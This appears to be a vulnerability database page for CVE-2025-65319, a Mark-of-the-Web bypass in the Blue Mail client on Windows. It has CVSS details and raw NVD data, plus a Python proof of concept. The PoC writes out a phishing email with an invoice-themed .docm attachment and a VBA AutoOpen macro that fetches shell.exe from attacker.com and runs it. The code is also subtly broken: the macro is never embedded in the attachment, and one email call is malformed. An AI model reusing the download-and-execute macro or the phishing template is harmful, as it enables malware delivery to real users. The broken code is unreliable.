Security Vulnerability Report
中文
CVE-2025-65319 CVSS 9.1 CRITICAL

CVE-2025-65319

Published: 2025-12-16 16:16:00
Last Modified: 2025-12-31 00:37:05

Description

When using the attachment interaction functionality, Blue Mail 1.140.103 and below saves documents to a file system without a Mark-of-the-Web tag, which allows attackers to bypass the built-in file protection mechanisms of both Windows OS and third-party software.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:blixhq:bluemail:*:*:*:*:*:windows:*:* - VULNERABLE
Blue Mail <= 1.140.103 (Windows平台所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65319 PoC - Blue Mail MotW Bypass # This PoC demonstrates the Mark-of-the-Web bypass vulnerability in Blue Mail import smtplib from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders def create_malicious_document(): """Create a malicious document with embedded payload""" # Create an Office document with malicious macro doc_content = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>Malicious Document - Auto-executing Macro</w:t> </w:r> </w:p> </w:body> </w:document>''' # Malicious macro code macro_code = '''Sub AutoOpen() Shell "cmd.exe /c powershell -Command \"Invoke-WebRequest -Uri 'http://attacker.com/shell.exe' -OutFile 'C:\\Users\\Public\\Downloads\\malware.exe'; Start-Process 'C:\\Users\\Public\\Downloads\\malware.exe'\"" End Sub''' return doc_content, macro_code def send_malicious_email(target_email, smtp_server, smtp_port): """Send email with malicious attachment via Blue Mail vulnerable endpoint""" msg = MIMEMultipart() msg['From'] = '[email protected]' msg['To'] = target_email msg['Subject'] = 'Important Document - Please Review' # Email body with social engineering body = '''Hi, Please find attached the document you requested. Save and open the file to view the contents. Best regards, Support Team''' msg.attach(body) # Attach malicious document attachment = MIMEBase('application', 'octet-stream') doc_content, _ = create_malicious_document() attachment.set_payload(doc_content) encoders.encode_base64(attachment) attachment.add_header('Content-Disposition', 'attachment', filename='Invoice_Document.docm') msg.attach(attachment) # Send email try: server = smtplib.SMTP(smtp_server, smtp_port) server.send_message(msg) server.quit() print('[+] Malicious email sent successfully') print('[+] Attachment will bypass MotW when saved via Blue Mail') except Exception as e: print(f'[-] Error sending email: {e}') def verify_motw_bypass(file_path): """Verify if file lacks Mark-of-the-Web marker""" try: import win32com.client import pythoncom # Initialize COM pythoncom.CoInitialize() # Check for Zone.Identifier alternate data stream ads_path = file_path + ':Zone.Identifier' try: with open(ads_path, 'r') as f: content = f.read() if 'ZoneID=3' in content: print('[-] File has MotW marker - Protected') return False except FileNotFoundError: print('[+] File lacks MotW marker - VULNERABLE') return True pythoncom.CoUninitialize() except ImportError: print('[!] win32com not available - manual verification required') return None if __name__ == '__main__': print('CVE-2025-65319 PoC - Blue Mail MotW Bypass') print('=' * 50) # Configuration TARGET_EMAIL = '[email protected]' SMTP_SERVER = 'mail.attacker.com' SMTP_PORT = 587 # Send malicious email send_malicious_email(TARGET_EMAIL, SMTP_SERVER, SMTP_PORT) print('\nAttack Flow:') print('1. Attacker sends email with malicious document') print('2. Victim uses Blue Mail to save attachment') print('3. File saved WITHOUT Mark-of-the-Web marker') print('4. Victim opens file - no SmartScreen warning') print('5. Malicious macro/code executes with user privileges')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65319", "sourceIdentifier": "[email protected]", "published": "2025-12-16T16:15:59.790", "lastModified": "2025-12-31T00:37:04.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When using the attachment interaction functionality, Blue Mail 1.140.103 and below saves documents to a file system without a Mark-of-the-Web tag, which allows attackers to bypass the built-in file protection mechanisms of both Windows OS and third-party software."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blixhq:bluemail:*:*:*:*:*:windows:*:*", "versionEndIncluding": "1.140.103", "matchCriteriaId": "ED6E2ABE-6B86-441B-8EBA-C24EE70EF138"}]}]}], "references": [{"url": "http://blue.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://drive.google.com/file/d/1dVzXuHBk3B1DiFpwFYwj2NNjeKGnGSwT/view", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/bbaboha/CVE-2025-65318-and-CVE-2025-65319", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/nickvourd/RTI-Toolkit", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/rip1s/CVE-2017-11882", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/bbaboha/CVE-2025-65318-and-CVE-2025-65319", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}